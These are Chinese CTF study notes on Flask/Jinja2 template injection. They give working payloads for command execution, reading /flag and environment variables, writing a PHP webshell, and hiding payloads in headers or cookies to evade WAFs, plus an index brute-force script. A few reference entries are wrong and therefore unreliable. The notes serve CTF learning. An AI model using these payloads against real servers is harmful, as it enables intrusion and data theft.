{1.}命令执行python
重点两大模块:os ,subprocess——执行系统命令
| 模块 | 核心定位 | 功能范围 | 使用场景 |
|---|---|---|---|
os | 操作系统底层 “基础工具集” | 文件 / 目录操作、环境变量、进程 ID、路径处理等 | 高频、简单的系统交互(无需启动新进程) |
subprocess | 跨平台 “进程创建与通信工具” | 启动外部程序 / 命令、进程间通信(管道 / 信号) | 需执行外部命令 / 程序的复杂场景 |
” os ”
在Jinjia2模板中无法直接import os ,需通过Python内置的’对象属性查找‘间接获取‘os’模块 (1)
{{__import__('os')}}<作用:导入os模块并返回该模块对象> (2) 通过已存在的对象(如request)的模块链调用
os.system()
(1) {{__import__('os').system('命令')}}
返回值:返回命令退出的状态码,但不会返回命令的输出结果。输出会直接打印到标准输出,不会存到Python变量里用于后续代码处理
作用场景:执行命令的动作本身,不获取命令结果。(比如某道题只需要命令执行成功就行,完全不需要页面的结果)
os.popen()
(1) {{ __import__('os').popen('命令').read() }}
返回值: : 返回一个“文件对象”,需要用.read()或者.readlines()来获取命令的输出结果
read()——读取单个字符串<feel读出来清晰>,readlines()——读取字符串列表<读出来在一块>
read()root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologin...
readlines()'root:x:0:0:root:/root:/bin/bash\n','daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n', 'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n', ...场景: 需要读取并处理命令执行后的回显结果时
“ subprocess ”
(1) 无法直接import subprocess ,需通过Python内置的’对象属性查找‘间接获取‘subprocess’模块 (2)功能较为单一,只专注于进程创建和通信,但因场景本身的复杂性(跨平台兼容,进程间通信等),接口较为繁琐
subprocess.run()
(1) {{__import__('subprocess').run(['命令'], stdout=__import__('subprocess').PIPE, encoding='utf-8').stdout}}-最后的.stdout:属性,获取命令执行后的输出结果
返回值:CompletedProcess对象,代表已完成的子进程。
包含子进程运行后的结果信息,常用属性有:
- returncode:子进程的退出码(0 表示成功);
- stdout:子进程的标准输出(bytes 类型,需解码);
- stderr:子进程的标准错误输出
功能:执行args参数所表示的命令,等待命令结束,并返回一个CompletedProcess类型对象
参数介绍:
subprocess.run(args,*,stdin=None,input=None,stdout=None,stderr=None,shell=False,timeout=None,check=False,encoding=None,errors=None) - args:表示要执行的命令,必须是字符串或字符串参数列表****
- Stdin, ‘stdout‘, ’stderr’:子进程的标准输入、输出和错误,其值可以是subprocess.PIPE, subprocess.DEVNULL, 一个已经存在的文件描述符、已经打开的文件对象或者None****
- timeout:设置命令超时时间,若超时,子进程将被杀死,并弹出TimeoutExpired异常
- check:若该参数设为true,且进程退出状态码不是0,则弹出CalledProcessError异常
- encoding:若指定了该参数,则stdin,stdout,stderr可以接收字符串数据,并以该编码方式编码,否则只能接收bytes类型的数据****
- shell:若该参数为True,将通过操作系统的shell执行指定命令**** subprocess.PIPE:管道,可传递给stdout,stdin,stderr参数 subprocess.STDOUT:特殊值,可传递给stderr参数,表示stdout和stderr合并输出,可以使用read(),readline(),readlines()等方法
subprocess.Popen()
(1 {{__import__('subprocess').Popen(['命令'], stdout=__import__('subprocess').PIPE, encoding='utf-8').stdout.read()}}
为了防止不用communicate()直接stdout.read()容易死锁,可直接将stdout.read()替换为communicate()[0],(标准防锁死写法)即:{{__import__('subprocess').Popen(['命令'], stdout=__import__('subprocess').PIPE, encoding='utf-8').communicate()[0]}}
返回值:Popen对象,代表正在运行或已启动的子进程。
可以主动管理子进程的生命周期,常用的方法/属性:
wait:等待子进程结束,返回退出码;
communicate:与子进程交互(发送输入、获取输出)****尽量一定要用
功能:其用法和参数与run()基本类同,可创建和管理子进程,但是它的返回值是一个Popen对象,而不是CompletedProcess对象
参数介绍:
subprocess.Popen(args, bufsize=-1, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=True, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0, restore_signals=True, start_new_session=False, pass_fds=(), *, group=None, extra_groups=None, user=None, umask=-1, encoding=None, errors=None, text=None)
args:shell命令,可以是字符串或者字符序列
bufsize:缓冲区大小,默认-1,用于创建标准流的管道对象
- 0:不使用缓冲区
- 1:表示行缓冲,仅当universal_newlines=True时可用,即文本模式
- 正数:表示缓冲区大小
- 负数:表示使用系统默认的缓冲区大小。 stdin, stdout, stderr:分别表示程序的标准输入、输出、错误句柄 preexec_fn:只在 Unix 平台下有效,用于指定一个可执行对象(callable object),它将在子进程运行之前被调用 shell:如果该参数为 True,将通过操作系统的 shell 执行指定的命令。使用管道、通配符或重定向时,启用shell cwd:用于设置子进程的当前目录。 env:用于指定子进程的环境变量。如果 env = None,子进程的环境变量将从父进程中继承。 可调用的方法:(重要三个) poll():检查进程是否终止 wait():等待子进程终止 communicate(input, timeout):和子进程交互,发送和读取数据
- input的数据类型必须是字节串,若universal_newlines=True,则input参数的数据类型必须是字符串
- 该方法返回一个元组(stdout_data, stderr_data),字节串或字符串
- timeout指定的秒数后该进程还没结束,将会抛出TimeoutExpired异常
| 函数 | 使用说明 |
|---|---|
| subprocess.run() | 执行 args 参数所表示的命令,执行完成后返回 CompletedProcess |
| subprocess.call() | 执行指定的命令,返回命令执行状态,类似 os.system (cmd) |
| subprocess.check_call() | 等价于 subprocess.run (…,check=True) |
| subprocess.check_output() | 执行指定命令,状态码为 0 则返回命令执行结果,否则抛出异常 |
| subprocess.getoutput() | 接收字符串格式的命令,执行并返回结果,类似于 os.popen (cmd).read () 和 commands.getoutput (cmd) |
| subprocess.getstatusoutput() | 执行 cmd 命令,返回元组(命令执行状态,命令执行结果输出) |
{2.}代码执行函数python
核心三类:eval(),exec(),compile()——执行python代码
eval()
执行字符串类型的的表达式,并返回最终结果
一般在SSTI题目中,{{}}这个双大括号本身就起到了“执行代码”的作用。模板引擎会自动解析并执行括号里的Python对象的属性调用。
两种需要的情况:
- (1) 当需要“把字符串变成代码”时 某个payload是一个字符串形式(例如为了绕过WAF,把代码编码成了Hex或者Base64),就需要通过eval()来激活 位置:{{ }}里的最外层——>{{eval(‘字符串代码’)}}
- (2) 利用eval的特性执行复杂逻辑
{{ ... }}里的语法通常受限于模板引擎的解析规则(通常只能做简单的属性访问和函数调用)。如果需要执行复杂的多层嵌套或者动态生成的代码,eval()提供了一个纯粹的 Python 执行环境。 位置:作为利用链的终点——>{{ [].__class__.__base__.__subclasses__()[...].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}WAF绕过:许多的题目可能会过滤 ’ 和 “ 。 - (1) 可以使用chr(ASCII)函数拼接
eg:
eval(__import__(chr(111)+chr(115)).popen(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)).read())->`eval(import(‘os’).popen(‘whoami’).read()) - (2) 还可以使用HTTP传参(HTTP传参加上模板语法这个组合是SSTI专属的)
原理:利用模板引擎的解析能力,引用 Python Web 框架(如 Flask)的
request对象,直接从 HTTP 请求中提取参数值作为字符串。 request.args.x:获取get请求参数-GET request.form.x:获取表单数据-POST request.values.x: 获取所有参数-GET&POST request.cookies.x:获取 Cookie 数据
| 注入位置 | Payload 写法 | 配合的 HTTP 请求 | 特点 |
|---|---|---|---|
| 通用 | {{ eval(request.values.x) }} | GET 或 POST 均可传 x=... | 通用性高 |
| URL 参数 | {{ eval(request.args.x) }} | URL 后接 ?x=__import__... | 直接构造 |
| POST 数据 | {{ eval(request.form.x) }} | Body 中传 x=__import__... | 需要用Hackbar/BP发包,URL只有payload没有恶意代码 |
| Cookie | {{ eval(request.cookies.x) }} | Cookie 头中传 x=... | 隐蔽性高 |
eg:http://ctf.com/?name={{eval(request.args.cmd)}}&cmd=__import__('os').popen('whoami').read() |
GET: url?a=popen&b=ls
POST:code={{[].__class__.__base__.__subclasses__()[].__init__.__globals__[request.args.a](request.args.b).read()}}eval()的防御:1. 禁用__builtins__ :在模板引擎中除去 2. 沙箱隔离:用首先的python环境(例如PyPy沙箱)执行模板代码 3. 输入过滤:严格禁用关键词(1/白名单过滤 2/主动移除或替换模板注入相关的关键词 3/特殊字符的转义处理 )4. 使用ast.literal_eval() 编写源码
<如果遇上ast.literal_eval,由于只允许数据结构,因而无法函数调用,导致无法直接RCE,所以如果能拿到外部的builtins就可以通过改常量(“变量覆盖” 或 “配置篡改”)的方式去打,即:突破口—覆盖关键配置(SECRET_KEY,DEBUG)、全局变量(如:jinja_env)> 利用条件:解析后的数据被用于更新上下文
exec()
执行存储在字符串或文件中的 Python语句,但是在执行完后不返回任何结果,无返回值
当payload需要执行多行代码、赋值操作等时,eval()由于只认表达式,所以无法执行,需要exec()。且在eval()被过滤,或者需要执行多行逻辑(如反弹shell)时,需要exec()。
- (1) 盲注/反弹shell/写文件(无回显利用)
1. 反弹shell——使目标服务器连接我的 2. 写webshell/静态文件——把内容写入指定文件,eg:
open('static/shell.php','w').write('<?php eval($_POST["cmd"]);?>')<为避免引号冲突,将cmd的引号改为了双引号> 3. 打印目标内容到指定文件:(简单payload){{url_for.__globals__['__builtins__']['exec']("__import__('os').system('echo `env` > /app/static/1.txt')")}} - (2) 利用
exec支持赋值的特性,将结果存入变量,再读取变量。 原理:定义全局变量存储popen的结果。 eg:exec("global x; x=__import__('os').popen('cat /flag').read()")读取:{{url_for.__globals__['x']}}WAF绕过:类似eval(),编码拼接和HTTP传参 - 前者:python2自带.decode(‘base64’)或.decode(‘hex’);pyhton3移除字符串直接解码的方法,需要引入base64模块:
(1)
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')(2)exec(bytes.fromhex(‘5f5f696d…‘).decode()) - 后者:
| 注入位置 | Payload | 理由 |
|---|---|---|
| 通用 | {{ exec(request.values.x) }} | 万能懒人包。 因为它同时接收 GET 和 POST。做题时起手就打这个,不用管是发 GET 包还是 POST 包,容错率最高。如果不确定用啥,就用它。 |
| POST | {{ exec(request.form.x) }} | 重型武器专用。 当你需要打反弹 Shell (通常 100 + 字符) 或者写长脚本时,URL 栏 (GET) 放不下,必须用 POST Body(form)传。 |
| 注入位置 | payload | 理由 |
|---|---|---|
| Header | {{ exec(request.headers.x) }} | 隐身衣。 有些 WAF 只盯着 URL 和 Body 查,完全不管 Header。而且 Header 允许传很长的字符串,适合藏反弹 Shell。 |
| Cookie | {{ exec(request.cookies.x) }} | 隐身衣 Pro。 原理同上,Cookie 位置更隐蔽,适合悄悄传参。 |
exec()的防御:1. 作用域限制,使用 exec(code, {'__builtins__':{}}, {}) 将 globals 置空,导致无法调用 __import__ 或 open——突破口:可以通过继承链寻找未被禁用的模块进行沙箱逃逸 2. 静态审计,在执行前分析语法树,拦截call(调用)或import节点——突破口:利用字符串拼接或编码混淆AST结构 3. 彻底删除,在builtins中删除 |
eval()与exec()的对比
| 特性 | eval() | exec() |
|---|---|---|
| 处理对象 | 表达式 | 语句 |
| CTF | 只能算简单的(计算器) | 能跑复杂的(编译器) |
| 返回值 | 有结果(Result) | 无结果(None) |
| 取 Flag 策略 | 直接回显(popen().read()) | 反弹 Shell / 写文件 / 带外传输 |
| 赋值能力 | 不能 a=1 | 可以 a=1 |
| 导入能力 | 仅限行内(__import__) | 完整(import os) |
| 代码风格 | 必须一行写完 | 写起来更像正常的写代码 |
compile()
主要起辅助作用,能够打破eval()的枷锁,将字符串编译成代码对象,但是编译结果需要用eval()或者exec()才能运行
当题目禁用了exec(),但是eval()只能执行表达式而不能执行语句(例如:赋值a=1,导入import)。这种情况下,eval()可以执行compile()编译出的代码对象(即使该对象是以exec模式编译的)
eg:eval(compile("import os; os.system('ls')", '<string>', 'exec'))
{3.}攻击链
基本链条思路 对象 -> 类 -> Object类(基类) -> 子类(所有类) -> 找到含 os 的模块 -> 执行
{{().__class__.__base__.__subclasses__()[].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}url_for.__globals__['os'].popen('cat flag').read()一. 地基——类、继承、实例化
类、父类、子类和继承
- 类:<蓝图/模具> 定义了事物的属性(数据)和方法(行为)
- 父类:被其它类继承的类,封装了多个子类共有的属性和方法,实现代码复用(eg:动物类可以作为猫类,狗类的父类)
- 子类:继承父类的属性与方法,同时可新增自身特有的功能,或重写父类方法以实现定制化逻辑(例如 “猫类” 继承 “动物类” 的 “发声” 方法,同时重写为 “喵喵叫”)
- 继承:子类获取父类属性与方法的机制,核心作用是实现代码复用、逻辑分层,同时支持子类在父类基础上扩展或定制功能(例如 “动物类” 的属性和方法可被 “猫类”“狗类” 继承,避免重复编写通用逻辑)。
编写类并实例化
# --- 1. 定义父类 ---class Father: pass
# --- 2. 定义子类 (继承自 Father) ---class Son(Father): def action(self): print("I am the son")
# --- 3. 实例化 ---# 这一步生成了一个实实在在的对象myself = Son()
# 调用方法myself.action() # 输出:I am the son二. 攀爬——在对象中穿梭
最初通常掌握一个“实例”(比如一个空字符串“”或者一个空列表
[])
(1)如何通过一个实例对象获取它的类
- 方法:
实例.__class__ - 意义:让实例在运行时能直接指向所属的类,可快速获取 / 使用类的属性、方法
(2)如何获取一个类的父类
- A:
类.__base__(获取首个直接父类) - B:
类.__bases__(一次性获取类的所有直接父类) - C:
类.__mro__[](展示类的完整方法解析顺序) <找object基类时,列表最后一个元素([-1])更稳健;虽str的object常在[1]位,但实战优先用mro[-1],也可观察 MRO 列表确定其位置> - 意义:找到所有类的始祖——object类
(3)如何获取一个类的子类
- 方法:
类.__subclasses__() - 获取一个子类:
类.__subclasses__()[索引值] - 意义:这是攻击链中最关键的“向下扩散”。一旦你拿到了
object类,调用这个方法,你就能列出Python 解释器当前加载的所有类
三. 突破——方法与全局空间
找到了危险的子类后,我们需要利用它内部的函数(方法)来跳出限制。
(1)如何获取到某一个类的某个方法
- 方法:
类.方法名或者类.__dict__['方法名'] - 用途:寻找
__init__方法,因为初始化方法几乎所有类都有,而且它通常会引用很多配置或模块。 __init__是类的构造方法,在创建类的实例(对象)时,自动执行,用来初始化实例的属性。
(2)方法的全局命名空间 (__globals__)
- 解释:函数(方法)自带的一个 “全局变量字典”—— 它会把该方法定义时所在文件/模块里的所有全局变量、导入的模块、其他函数等内容都存起来,相当于给方法留了一个 “定义环境的快照”,让方法在任何地方被调用时,都能找到定义时能用到的全局资源。
- 用途:“越狱关键”,假设找到了 os模块下的一个类的
__init__方法。这个方法的__globals__字典里,一定包含os模块本身(或者system,popen等),通过访问这个字典,你就等于拿到了os模块的控制权。 __init__.__globals__
四. builtins
顾名思义:内置的东西-内置工具箱
解释:特殊模块,里面装了 Python 启动时预加载的所有基础函数,比如 print(), open(), range(), eval(), __import__()
几乎所有的 __globals__ 字典里,都会包含一个指向 __builtins__ 的引用。
五.总结
-
"".__class__- 从实例拿到
str类。
- 从实例拿到
-
.__base__- 从
str爬到object基类。
- 从
-
.__subclasses__()- 从
object向下找,列出所有子类。
- 从
-
[138](假设索引)- 挑选一个“危险子类”(比如
os._wrap_close或warnings.catch_warnings),这步实际上是在选取一个可以利用的类。
- 挑选一个“危险子类”(比如
-
.__init__- 拿到该类的初始化方法。
-
.__globals__- 进入该方法所在的全局命名空间。此时你已经突破了当前环境,进入了该类所在的模块环境。
-
['__builtins__']- 在全局变量中找到内置函数库。
-
['eval']("__import__('os').popen('calc').read()")- 利用内置的
eval执行任意代码。 示例[]相当于拿东西 ()相当于做动作
- 利用内置的
"".__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__']['eval']("...")url_for.__globals__['__builtins__']['eval']("...")# 是Flask框架特有的函数
#字典(dict)的形态下,可以直接['eval']访问,但是在模块(module)形态下,需要用 .eval 或者.__dict__['eval']
心法
向上爬(__class__.__base__):为了获得上帝视角 (object)。
向下扫(__subclasses__):为了在成千上万的类中寻找“跳板”。
进内部(__init__.__globals__):为了从“类”的监狱逃逸到“模块”的自由空间。
拿武器(['__builtins__']['eval']):从系统自带工具箱里拿出代码执行器。
进内部(url_for.__globals__):原本监狱里摆了个梯子,通过这个梯子直接逃逸到“模块”的自由空间
拿武器(['__builtins__']['eval']):从系统自带工具箱里拿出代码执行器。
六. 索引值脚本爆破
方法一:外部脚本暴力枚举(黑盒测试)
适用场景:Payload 长度受限,或者无法使用复杂的 Jinja2 语法,只能靠外部请求一次次试。 逻辑:写一个 Python 脚本,从 0 遍历到 500,每次修改 Payload 中的索引值,发送请求并检查网页回显。
import requests
url = "http://target.com/"# 目标:寻找包含 os 模块的类,常用 os._wrap_close 或 warnings.catch_warningstarget_class = "catch_warnings"
for i in range(500): # 构造探测 Payload,注意这里只获取类名,不执行命令 # Payload: {{ "".__class__.__base__.__subclasses__()[i].__name__ }} payload = {"name": f"{{{{ ''.__class__.__base__.__subclasses__()[{i}].__name__ }}}}"}
try: r = requests.get(url, params=payload) if target_class in r.text: print(f"[+] 找到目标索引: {i}") print(f" 类名: {target_class}") break # 找到一个就停止 except: pass方法二:内部列表推导式(白盒)
适用场景:环境支持 Jinja2 逻辑语法(
for,if),这是实战中最推荐的方法,因为它不需要知道索引值,直接动态筛选。 逻辑:把“查找索引”的过程写在 Payload 里,让服务器自己去找。 语法:[x for x in ... if ...][0]
# 解释:从子类列表中,筛选出名字包含 'catch_warnings' 的类,取第一个结果,直接初始化并利用{{ [x for x in ().__class__.__base__.__subclasses__() if 'catch_warnings' in x.__name__][0] .__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}{4.}常用方法与传参
常用方法
| Attribute | Meaning |
|---|---|
__doc__ | 函数的文档字符串,如果不可用则为'None';不被子类继承。 |
__name__ | 函数的名字。 |
__qualname__ | 函数的限定名称,Python 3.3 的新功能。 |
__module__ | The name of the module the function was defined in, or None if unavailable.函数定义的模块名,如果不可用则为 'None'。 |
__defaults__ | 函数定义的模块名,如果不可用则为'None'。 |
__code__ | 表示已编译函数体的代码对象。 |
__globals__ | 一个对保存函数全局变量的字典的引用 —— 定义函数的模块的全局命名空间。 |
__dict__ | 支持任意函数属性的命名空间。 |
__closure__ | 'None'或包含函数自由变量绑定的单元格元组。 |
__annotations__ | 包含参数注释的字典。dict 的键是参数名,如果提供了 return 注释,则是"return"。 |
__kwdefaults__ | 包含仅关键字参数的默认值的字典。 |
__class__ | 获取实例化对象的原类。 |
__base__ | 获取该对象的基类(不一定能得到object)。 |
__mro__ | 获取类的调用顺序。 |
常用传参
| 传参(request 相关属性 / 方法) | 描述 |
|---|---|
request.accept_charsets | 此客户端支持的 CharsetAccept 对象的字符集列表。 |
request.accept_encodings | 此客户端接受的编码列表。HTTP 术语中的编码是压缩编码,比如 gzip。 |
request.accept_languages | 此客户端作为 LanguageAccept 对象接受的语言列表。 |
request.accept_mimtypes | 这个客户端作为 MIMEAccept 对象支持的 mimetype 列表。 |
request.accept_routes | 如果存在转发的报头,这是从客户端 ip 到最后一个代理服务器的所有 ip 地址列表。 |
request.application | 将函数修饰为响应器,它接受请求作为最后一个参数。这与 responder () 装饰器类似,但函数将请求对象作为最后一个参数传递,请求对象将自动关闭。 |
request.args | 解析后的 URL 参数 (URL 中问号后面的部分)。 |
request.authorization | 已解析形式的授权对象。 |
request.base_url | 类似 url,但没有查询字符串。 |
request.blueprint | 当前蓝图的名称。 |
request.cache_control | 一个 RequestCacheControl 对象,用于传入的缓存控制标头。 |
request.close | 关闭此请求对象的关联资源。这将显式关闭所有的文件句柄。您还可以在 with 语句中使用请求对象,该语句将自动关闭请求对象。 |
request.content_encoding | Content-Encoding entity-header 字段用作媒体类型的修饰符。当它出现时,它的值指示已经向实体应用了哪些额外的内容编码,以及必须应用哪些解码机制才能获得 contenttype 报头字段引用的媒体类型。 |
request.content_length | 以字节为单位表示实体的大小,或者,对于 HEAD 方法,表示如果请求是 GET,将发送的实体的大小。 |
request.content_md5 | 实体的 MD5 摘要,用于提供实体的端到端消息完整性检查 (MIC)。(注意:MIC 可以很好地检测传输中实体的意外修改,但不能防止恶意攻击。) |
request.content_type | 指示发送给接收者的实体的媒体类型,或者,对于 HEAD 方法,如果请求是 GET,则发送的媒体类型。 |
request.cookies | 一个字典,包含与请求一起传输的所有 cookie 的内容。 |
request.data | 包含传入的请求数据作为字符串,以防它带有一个 mimetype Werkzeug 不能处理。 |
request.date | 表示消息产生的日期和时间,与 RFC 822 中的 origi Date 具有相同的语义。 |
request.dict_storage_class | werkzeug.datastructures.ImmutableMultiDict 的别名。 |
request.endpoint | 与请求匹配的端点。这与视图 args 相结合,可以用来重建相同的或修改过的 URL。如果匹配时发生异常,则此值为 None。 |
request.environ | 底层 WSGI 环境。 |
request.files | 包含所有上载文件的 MultiDict 对象。只有当请求方法是 POST、PUT 或 PATCH,并且发布到请求的 |
request.form | 来自 POST 的数据。 |
request.full_path | 请求的路径为转换成 unicode,包括查询字符串。 |
request.get_json | 将数据解析为 JSON。 |
request.headers | 请求头内容。 |
request.host | 只有主机包括端口(如果可用)。 |
request.json | 如果 mimetype 指示 JSON,则解析的 JSON 数据。 |
request.method | 请求方法。 |
request.mimetype | 与 content_type 类似,但没有参数(例如,没有字符集、类型等),并且总是小写。例如,如果内容类型是 text/HTML;charset=utf-8,则 mimetype 将是 “text/HTML”。 |
request.mimetype_params | mimetype 参数为 dict。例如,如果内容类型为 text/html;charset=utf-8,则参数为 {charset’:‘utf-8’}。 |
request.origin | 发起请求的主机。 |
request.path | 访问路径,始终包含一个前导斜杠,即使 URL 根。 |
request.query_string | 从 url 的请求的参数。 |
request.referrer | 来源地址。 |
request.remote_addr | 客户端 IP。 |
request.remote_user | 如果服务器支持用户身份验证,并且脚本受保护,则此属性包含用户身份验证的用户名。 |
request.scheme | url 的头部。 |
request.stream | 如果传入的表单数据不是用已知的 mimetype 编码的,那么数据将不加修改地存储在这个流中以供使用。大多数情况下,最好使用将数据作为字符串提供给您的数据。流只返回一次数据。 |
request.url | 当前 url。 |
request.url_charset | 为 url 假定的字符集。 |
request.url_root | 完整的 URL 根目录(带有主机名)。 |
request.user_agent | 当前用户代理。 |
request.values | 结合了 args 和 form。 |
{5.}html与flask模版的使用
HTML
<!DOCTYPE html><html><head> <meta charset="UTF-8"> <title>网页标题</title></head><body> <h1>这是一级标题(字最大)</h1> <p>这是一个段落,用来写正文。以放其他内容。 </div></body></html>A.交互类标签
<form> (表单):定义一个数据提交区域
- action属性:数据提交给谁
- method属性:用什么方式
<input>(输入框): - name属性(关键):eg:
<input name="username"> - type属性:决定是文本框密码框还是隐藏域。<隐藏域用户看不见,但可以通过 F12 修改它的值传给后台>
B. 文本与容器标签(通常是回显位置)
<div> 和 <span> :最常用的容器,用来布局
<p>:段落
<h1> - <h6>:标题
<b> / <strong>:加粗
C. 资源引用标签(用于外带数据)
<img>:加载图片
- src属性:表示图片的路径
<img src=" "><a>:超链接 href属性:点击后跳转的地址<a href=" ">点击进入</a>
D. 脚本与注释(混淆与隐藏)
<script>:这里面写的是 JavaScript 代码。
``注释
<!-- -->:HTML注释
注加
模板的方便之处:1.逻辑分离:Python 只管处理数据,HTML 只管页面长什么样2.易于维护:改页面不用动后端代码3.安全性:模版引擎通常会自动处理一些基本的最终发送给浏览器的内容:渲染后的纯 HTML 字符串Flask模板(默认Jinja2)
三种定界符
- {{ … }}:变量输出,用于将表达式结果显示在页面上
- {% … %}:语句执行,用于控制逻辑(循环、判断)或变量赋值,不会直接输出内容。
- {# … #}:注释,网页源码中不可见。
1.获取变量值(输出)
使用{{ … }}。只要放在这里面的东西,Jinja2 都会尝试将其计算并转换为字符串输出。
2.执行一个语句 (逻辑与赋值)
使用{% … %}。常用于定义变量或控制流程
## 赋值:要想在模板内部定义一个新变量,使用set标签{% set name='' %}当直接执行命令被过滤时,可以利用set拼接字符串{% set a = 'o' %} {% set b = 's' %}——>os4.选择结构
语法逻辑跟python差不多,最后需要以{% endif %}结尾
5.循环结构
用于遍历列表或字典,必须以 {% endfor %} 结尾
遍历列表
-
{% for item in items %}
- {{ item }} {% endfor %}
遍历字典
{% for key, value in user_info.items() %}
{{ key }}: {{ value }}
{% endfor %}flask内置函数
| 函数名称 | 作用描述 | CTF 利用场景 |
|---|---|---|
url_for() | 生成 URL | 可以在 SSTI 中用来探测路由结构。 |
get_flashed_messages() | 获取闪现消息 | 较少直接利用。 |
| <利用可看ssti-flask-labs第十关> |
flask内置对象
| 对象名称 | 作用描述 | CTF 中的利用价值 (High Value) |
|---|---|---|
config | 当前 Flask 应用的配置对象 | 常含 SECRET_KEY 或数据库密码。Payload: {{ config }} 或 {{ config['SECRET_KEY'] }} |
request | 包含了当前 HTTP 请求的所有信息 | 用于利用参数绕过字符过滤。 例如: {{ request.args.x }} 可以引入被过滤的字符。 |
session | 用户会话对象(字典) | 查看当前用户的登录状态或隐藏的 Cookie 数据。 |
g | 全局临时存储对象 | 偶尔会存一些临时数据,利用率较低。 |
| flask | app的动态代理 | 作为config的替身,{{ current_app.config['FLAG'] }}绕过被污染的「局部变量 config」,直接找到持有「真实 app.config」的 Flask 应用实例 |
{6.}Jinja2三语法
在Jinja2中,存在三种语法:
- 控制结构
{% %}- 变量取值
{{}}- 注释
{# #}其中,各个部分如下:
控制结构
- 引入模板 和 PHP 的 include 差不多一个意思,相当于将所引入的文件的内容替换到引入结构的那一行上:
{% include 'static/pages/header.html' %}- 遍历 在jinja中是不存在 while 这种 说法,但可以用 for 来对 字典 以及 列表 进行遍历:
{% for key, value in userData.items() %} {% print(key + "> " + value) %}{% endfor %}在一个循环遍历的块中,可以访问一些特殊的变量:
| Variable | Description |
| loop.index | 当前循环的迭代。(1索引) |
| loop.index0 | 当前循环的迭代。(0索引) |
| loop.revindex | 从循环结束开始的迭代次数。(索引的1次) |
| loop.revindex0 | 从循环结束开始的迭代次数。(0索引) |
| loop.first | 如果是第一次迭代则返回真。 |
| loop.last | 如果是最后一次迭代则返回真。 |
| loop.length | 序列中项目的数量。 |
| loop.cycle | 在序列列表之间循环的辅助函数。 |
| loop.depth | 指示当前呈现在递归循环中的深度。 |
| loop.depth0 | 指示当前呈现在递归循环中的深度。从0级开始。 |
| loop.previtem | 来自前一次循环迭代的项。在第一次迭代中未定义。 |
| loop.nextitem | 循环的后续迭代中的项。在最后一次迭代中未定义。 |
| loop.changed(*val) | 如果之前用不同的值调用(或者根本不调用),则返回True。 |
- 条件判断 这个和 python 的条件几乎一模一样:
{% if 1+1 == 2 %} {% print("ok") %}{% elif 1+2 == 1 %} {% print("no") %}{% else %} {% print("??") %}{% endif %}- 宏 也就是用户自定义的一个网页的模板结构,一般来说,宏都会单独的放在一个文件中,然后再使用以下语法进行调用:
{% from "宏文件路径" import 宏名称 [as 别名] %}简单的举个例子,例如在 user.html 文件中拥有以下内容:
{% macro input(name,type = "text",value = "") %} <input type="{{type}}" name="{{name}}" value="{{value}}" >{% endmacro %}那么我只需要在实际开发中的 login.html 做如下调用即可很方便的构造一个登录表单:
{% from "user.html" import macro as user %}<form action="/login" method="post">{{user("userName")}}{{user("userPass","password")}}<input type="submit" value="login" ></form>- 继承 也就是可以创建一个基本的骨架文件,然后让其他文件从该骨架文件集成,再针对自己需要的地方进行修改。例如新建一个名为 base.html 的骨架文件:
<head> {% block head %} <title>{% block title %}{% endblock %}</title> {% endblock %}</head>然后在其他文件中进行继承(比如这里我修改 title,然后其他原封不动):
{% extend "base.html" %}{% block title %}DogZii{% endblock %}{% block head %}{{ super() }}{% endblock %}- set 可以在模板中定义变量,比如:
{% set user="dq" %}{% set num=520928 %}{% set userData=[num,user]} %}{% for each in userData %} <p> {{each}} </p>{% endfor %}即是 {% set [变量名] = [值] %},使用 set 定义的变量相当于python中的 全局变量,在后面都可以使用。
- with 可以定义仅能在 with语句块 中使用的变量,一旦超过了这个块就不能使用,比如:
{% with user="dq" %} <p>{{user}}</p>{% endwith %}当然,也可以在 with语句块 中使用 set 来定义变量,在 with语句块 中定义的变量是拥有变量作用域的,也就是仅能在 with语句块 中使用:
{% with %} {% set user="dq" %} <p>{{user}}</p>{% endwith %}变量取值
简单说来就是:
{{5*7}}> 35{{1}}> 1{%set a='ok'%}{{a}}> 'ok'还有,就是在Jinja2中,对形如 foo.bar 和 foo['bar'] 解析方式和 python 不同。这两种解析方式基本是是一样的。
Implementation For the sake of convenience,
foo.barin Jinja does the following things on the Python layer:check for an attribute called bar on foo (
getattr(foo, 'bar')) if there is not, check for an item'bar'in foo (foo.__getitem__('bar')) if there is not, return an undefined object.
foo['bar']works mostly the same with a small difference in sequence:check for an item
'bar'in foo. (foo.__getitem__('bar')) if there is not, check for an attribute called bar on foo. (getattr(foo, 'bar')) if there is not, return an undefined object. This is important if an object has an item and attribute with the same name. Additionally, the[attr()](https://jinja.palletsprojects.com/en/master/templates/#attr)filter only looks up attributes.
简单来说,就是在 Jinja2 中,foo.bar 和 foo['bar'] ,或是 ''.__class__ 和 ''['__class__'] 最终实现的是一样的。
{7.}模板判断
{{ }}
| 模版引擎 | 语言 | 特征与区分 Payload |
|---|---|---|
| Jinja2 | Python (Flask) | {{7*7}}->49区分点: {{ 7*'7' }} 会输出 7777777(字符串重复)。 |
| Twig | PHP (Symfony) | 区分点:{{ 7*'7' }} 会输出 49(PHP 弱类型,强制数字计算)。 |
| Django | Python | 它是 Jinja2 的前身,语法很像,但默认不支持函数调用(即 () 不可用),攻击难度大。 |
| Tornado | Python | 也是 {{ }},但通常你可以直接访问 import 等模块。 |
| AngularJS / Vue | JavaScript (前端) | 注意:如果是前端框架,这属于 XSS 漏洞,而不是 SSTI(无法控制服务器)。 特征:通常在页面加载后闪烁一下才变数字。 |
${ }
| 模版引擎 | 语言 | 特征 & Payload |
|---|---|---|
| FreeMarker | Java | 报错信息常包含 “freemarker”。 Payload: ${7*7} -> 49。 |
| Velocity | Java | 也是 Java 常用模版。 Payload: #set($x=7+7)$x。 |
